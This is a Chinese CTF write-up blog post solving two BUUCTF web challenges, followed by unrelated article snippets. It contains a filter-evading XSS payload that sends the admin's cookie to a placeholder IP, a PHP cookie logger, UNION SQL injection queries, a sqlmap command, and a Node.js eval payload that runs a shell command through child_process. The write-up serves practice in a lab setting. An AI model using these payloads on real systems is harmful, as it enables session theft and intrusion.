9.26 Buu俩题解

[CISCN2019 华东北赛区]Web2

看wp写完之后写的

知识点
  • 存储型XSS与过滤绕过
  • sql注入
题解

好几个页面,存在登录框可以注册,存在管理员页面(admin.php)

->既然存在管理员页面,且直接访问admin.php提示我们

在这里插入图片描述

说明存在身份验证,我能够想到的只有Cookie和Session验证,那应该就是获取或者伪造了

->伪造:没有发现jwt格式或类似的数据,

->获取:能够想到的只有xss

根据投稿页面提示信息,更加明确就是xss了

在这里插入图片描述

也就是说,这里上传XSSpayload,然后去反馈页面,将上传到的网址提交一下,管理员会去访问 -> 从而获取管理员身份信息

-> 需要公网IP,存在Http服务

在这里插入图片描述

过滤了,将() -> (),看wp了,根本不会绕过 编码网址

1.在服务器网站下创建一个php文件,用来之后管理员的访问 -> 从而获取管理员Cookie

<?php
    $cookie = $_GET['cookie'];
    $time = date('Y-m-d h:i:s', time());
    $log = fopen("cookie.txt", "a");    # a模式是追加模式(在文件末尾添加内容)
    fwrite($log,$time.':    '. $cookie . "\n");
    fclose($log);
?>

这个php文件需要一个Get参数 -> 当我们传入document.cookie时,会获取自己访问该网站的Cookie

写入cookie.txt文件中

# Xsspayload
in_str = "(function(){location.href='http://IP/127.php?cookie='+document.cookie})();"

output = ""

# 绕过waf部分
for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

可能有点乱,先后顺序过一遍

1.上传XssPayload -> 获取上传的网址

在这里插入图片描述

先别管waf部分,看in_str的内容 -> function(){}() js语言这个函数会自动调用, location.href 跳转命令

后面是 跳转到公网IP的php文件url,参数是cookie,值是document.cookie用来获取管理员Cookie值

上传的url:4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html
这里要看一眼题目介绍,要将前面的改成web.node5.buuoj.cn

2.然后在反馈的地方输入url,让管理员去检查 -> 从而触发跳转 之后一系列 -> 致使管理员Cookie写入到cookie.txt文件中

这个验证码,写一个py脚本就行了,我直接复制的wp中的

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        x = str(x).encode('UTF-8')
        md5_value = hashlib.md5(x).hexdigest()
        if md5_value[:6] == md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('277f26'))

3.获取Cookie之后访问admin.php之后的每一步,都要抓包修改Cookie或者其他修改Cookie的方式都可以

在这里插入图片描述

之后就是sql注入了[ 整数闭合注入 ] -> 唯一的一点就是每一次都要修改Cookie, 在Bp中直接发送的话, 又因为Get参数编码的问题,

->可以使用Postman

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from flag#

或者用sqlmap跑,指定一下Cookie参数

sqlmap -u 'http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id=1' --cookie='PHPSESSID=6acc57b9d1aa6f6e94a23ea4286a182e' -D "ciscn" -T "flag" --dump --batch

另外说一下,我看那个Xsspayload编码绕过,估计是通用的哎,只要将明文改一下,就跟着编码了( 我的payload用的是公网的,Wp中是Xss平台,不一样的,但是编码部分我没改,也能过)

wp

[NPUCTF2020]验证🐎

知识点
  • nodejs下的md5绕过
  • Nodejs下的RCE
题解

给出了源码, 主要看两部分

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
        # 来到这里, 进入safeEval函数, 绕过正则表达式, 执行eval函数
      }

Part1:满足if

nodejs中有类似于PHP的弱类型比较

在这里插入图片描述

在nodejs中数值类型没有长度,length只是一个属性

在这里插入图片描述

nodejs中任何数据类型与string类型相加时,都会强制转换为字符串类型

在这里插入图片描述

之前没写过nodejs代码,跟着练练

const crypto = require('crypto')

var key = "abc"
var a1 = '1' + key[0]
var b1 = [1] + key[0]

console.log(a1) # 1a
console.log(b1) # 1a

const hashA = crypto.createHash('md5')
hashA.update(a1)
const a = hashA.digest('hex')
console.log(a) # efaa153b0f682ae5170a3184fa0df28c

const hashB = crypto.createHash('md5')
hashB.update(b1)
const b = hashB.digest('hex')
console.log(b) # efaa153b0f682ae5170a3184fa0df28c

故Payload1:{“e”:paylod,“first”:[1],“second”:“1”}

Part2:绕过正则

第一步 - 分析正则:

我看不太懂,有些有特定的含义,一部分一部分复制到regx101中试试

/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g

1.(?:Math(?:\.\w+)?):匹配以Math.[0-9a-zA-Z_]

2.[()+\-*/&|^%<>=,?:]:这里是匹配其中任一的符号

3.(?:\d+\.?\d*(?:e\d+)?):数字 加 点 加数字 加e 加数字,在reg中试吧

4 :匹配空格

后面就是如何在绕过正则的基础上构造Poc - -包不会的,看wp

首先箭头函数

在这里插入图片描述

(Math=>
    ( Math=Math.constructor, 
        Math.x=Math.constructor( 
            Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) 
        )()
    ))(Math+1)

上面这个js代码,我不知道是在干嘛,不清楚,但是能看到 construcor加上wp的说明,感觉是找到Function这个原型

个人理解:Math也是一个对象[满足正则] -> 找到Function原型 -> 从而调用命令函数

(Math=>
    ( Math=Math.constructor, 
        Math.x=Math.constructor( 
            Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')")) 
        )() 
    )(Math+1)
#Exp.py
import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda code: "".join(map(chr,code)) 
a=f""" 
(m0=>( 
        m0=m0.constructor, 
        m0.x=m0.constructor( 
            m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) 
        )() 
    ))(Math+1) 
""" 
print(a+'\n') 
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") 
print(a)
#需要json格式发送 --- 使用python发送requests请求

import requests

url = 'http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/'
json = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[1],"second":'1'}

res = requests.post(url=url, json=json)
print(res.text)
参考

wp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/884479.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

K8S的Pod IP

pod 的ip 一般是提供给pod1与pod2之间的通信&#xff0c;它有两个特点 1. Pod IP会随着Pod实例 的创新创建&#xff08;重启&#xff09;发生变化&#xff1b; 2. Pod IP只在集群内节点可见&#xff0c;外部无法直接访问

椭圆距离计算的简单方法

分析发现找到点到椭圆的最近距离等价于求解一元四次方程。想象一下一个圆和一个椭圆最多相交四次。从这个观点出发,问题转化为找到与椭圆仅相交一次的圆。如果用四次方程表示,其中两个根将在交点处共享,而另外两个根将会是复数。 尽管四次方程的封闭解确实存在,但迭代方法更…

使用Python和OpenCV生成灰阶图像

代码如下&#xff1a; import cv2 import numpy as npimg np.zeros((256, 256), np.uint8)for i in range(0,16):for j in range(0,16):img[i*16:(i1)*16][j*16:(j1)*16]i*16jcv2.imwrite(result.jpg, img) 效果如下&#xff1a;

Power Automate 设置流Owner不生效的bug

在查找某个功能没生效时&#xff0c;定位到是一个Power automate的流停了&#xff0c;查看原因是因为创建流的owner被disable了 但是当把流的owner更新为可用的用户时&#xff0c;流依旧没被触发&#xff0c;触发的条件很简单&#xff0c;某个表的记录创建时&#xff0c;因为是…

操作系统与进程

1.操作系统 操作系统是计算机中的一个重要软件&#xff0c;它是一个专门进行管理的软件。操作系统可以通过驱动程序来间接管理外部硬件&#xff0c;也可以为计算机中的程序提供一个稳定的运行环境&#xff0c;从而来方便管理各种程序的运行&#xff0c;让程序之间的运行互不影…

传知代码-基于图神经网络的知识追踪方法(论文复现)

代码以及视频讲解 本文所涉及所有资源均在传知代码平台可获取 1.论文概述 论文链接提出了一种基于图神经网络的知识追踪方法&#xff0c;称为基于图的知识追踪&#xff08;GKT&#xff09;。将知识结构构建为图&#xff0c;其中节点对应于概念&#xff0c;边对应于它们之间的…

【JavaEE】——单例模式引起的多线程安全问题:“饿汉/懒汉”模式,及解决思路和方法(面试高频)

阿华代码&#xff0c;不是逆风&#xff0c;就是我疯&#xff0c;你们的点赞收藏是我前进最大的动力&#xff01;&#xff01;希望本文内容能够帮助到你&#xff01; 目录 一&#xff1a;单例模式&#xff08;singleton&#xff09; 1&#xff1a;概念 二&#xff1a;“饿汉模…

Enhancing Trust in LLMs: Algorithms for Comparing and Interpreting LLMs

文章目录 题目摘要引言透明度的必要性对信任的追求困惑度测量自然语言处理(NLP)评估指标零投学习绩效少量学习性能迁移学习对抗测试公平和偏见稳健性评估LLMMaps基准测试和排行榜分层分析布鲁姆分类法的可视化幻觉评分知识分层策略利用机器学习模型进行层级生成注意力可视化LLM…

css五种定位总结

在 CSS 中&#xff0c;定位&#xff08;Positioning&#xff09;主要有五种模式&#xff0c;每种模式的行为和特点不同&#xff0c;以下是 static、relative、absolute、fixed 和 sticky 五种定位方式的对比总结&#xff1a; 1. static&#xff08;默认定位&#xff09; 特性…

阿里云函数计算 x NVIDIA 加速企业 AI 应用落地

作者&#xff1a;付宇轩 前言 阿里云函数计算&#xff08;Function Compute, FC&#xff09;是一种无服务器&#xff08;Serverless&#xff09;计算服务&#xff0c;允许用户在无需管理底层基础设施的情况下&#xff0c;直接运行代码。与传统的计算架构相比&#xff0c;函数…

【2023工业3D异常检测文献】PointCore: 基于局部-全局特征的高效无监督点云异常检测器

PointCore: Efficient Unsupervised Point Cloud Anomaly Detector Using Local-Global Features 1、Background 当前的点云异常检测器可以分为两类&#xff1a; &#xff08;1&#xff09;基于重建的方法&#xff0c;通过自动编码器重建输入点云数据&#xff0c;并通过比较原…

07-阿里云镜像仓库

07-阿里云镜像仓库 注册阿里云 先注册一个阿里云账号&#xff1a;https://www.aliyun.com/ 进入容器镜像服务控制台 工作台》容器》容器服务》容器镜像服务 实例列表》个人实例 仓库管理》镜像仓库》命名空间》创建命名空间 仓库管理》镜像仓库》镜像仓库》创建镜像仓库 使…

【AI】深度学习的数学--核心公式

1 梯度下降 f ( x Δ x , y Δ y ) ≃ f ( x , y ) ∂ f ( x , y ) ∂ x Δ x ∂ f ( x , y ) ∂ y Δ y f(x\Delta x,y\Delta y) \simeq f(x,y)\frac{\partial f(x,y)}{\partial x}\Delta x\frac{\partial f(x,y)}{\partial y}\Delta y f(xΔx,yΔy)≃f(x,y)∂x∂f(x,y)​…

MySQL 性能剖析全攻略

在使用 MySQL 数据库的过程中&#xff0c;性能问题往往是让开发者和管理员头疼的难题。为了有效地解决这些问题&#xff0c;我们需要对 MySQL 进行性能剖析。那么&#xff0c;如何在 MySQL 中进行性能剖析呢&#xff1f;本文将为你详细介绍。 一、为什么要进行性能剖析&#x…

基于安卓开发大型体育场管理系统的设计与实现(源码+定制+讲解)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

《开题报告》基于SpringBoot框架的高校专业实习管理系统开题报告的设计与实现源码++学习文档+答辩讲解视频

开题报告 研究背景 在当今高等教育日益普及与深化的背景下&#xff0c;高校专业实习作为学生将理论知识转化为实践能力、提前适应社会工作环境的重要环节&#xff0c;其重要性不言而喻。然而&#xff0c;传统的高校专业实习管理模式往往存在信息不对称、流程繁琐、效率低下、…

SSM+Vue共享单车管理系统

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 spring-mybatis.xml3.5 spring-mvc.xml3.5 Vue 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平台Java领域优质创作…

代码随想录_刷题记录_第四次

二叉树 — 理论基础 种类&#xff1a; 满二叉树&#xff08;所有层的节点都是满的&#xff0c;k&#xff1a;深度 节点数量&#xff1a;2^k - 1&#xff09;完全二叉树&#xff08;除了最后一层&#xff0c;其余层全满&#xff0c;并且最后一层从左到右连续&#xff09;二叉搜…

信道衰落的公式

对于天线&#xff1a; 对于天线的面积计算&#xff1a; 天线的接收功率密度&#xff1a; 天线的接收功率&#xff1a; 移动无线信道&#xff08;I&#xff09; (xidian.edu.cn)https://web.xidian.edu.cn/zma/files/20150710_153736.pdf 更加常用的考虑了额外的信道衰落pathlo…

2024 maya的散布工具sppaint3d使用指南

目前工具其实可以分为三个版本 1 最老的原版 时间还是2011年的&#xff0c;只支持python2版的maya 2 作者python3更新版 后来作者看maya直到2022上还是没有类似好用方便的工具&#xff0c;于是更新到了2022版本 这个是原作者更新的2022版本&#xff0c;改成了python3&#…